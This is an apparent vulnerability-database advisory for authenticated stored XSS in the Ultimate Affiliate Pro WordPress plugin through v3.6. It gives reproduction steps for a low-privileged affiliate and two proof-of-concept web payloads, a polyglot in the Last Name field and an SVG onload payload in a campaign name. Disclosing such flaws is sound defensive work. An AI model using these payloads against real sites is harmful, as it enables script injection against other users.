Ultimate Affiliate Pro WordPress Plugin <= v3.6 - Authenticated Stored XSS



Description
Multiple Stored XSS vulnerabilities found logged as a low privileged user.
Proof of Concept
Authenticated Stored XSS:

Logged as an affiliate, a low privileged user. Profile > Edit Account.
Write the payload in the 'Last Name' input area:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNMouseoVer=alert(document.domain) )

Other fields may be vulnerable.

Authenticated Stored XSS:

Logged as an affiliate, a low privileged user.
Marketing > Campaigns > Add New Campaign. Write the payload on the 'Name' input field:
<svg/onload=alert(document.domain)>

Affects Plugin

References

PACKETSTORM 143497

Classification

Type XSS
OWASP Top 10 A3: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter 8bitsec
Submitter Website 8bitsec.io
Submitter Twitter _8bitsec
Views 4008
Verified No
WPVDB ID 8876

Timeline

Publicly Published 2017-07-26 (almost 2 years ago)
Added 2017-08-02 (almost 2 years ago)
Last Updated 2017-08-02 (almost 2 years ago)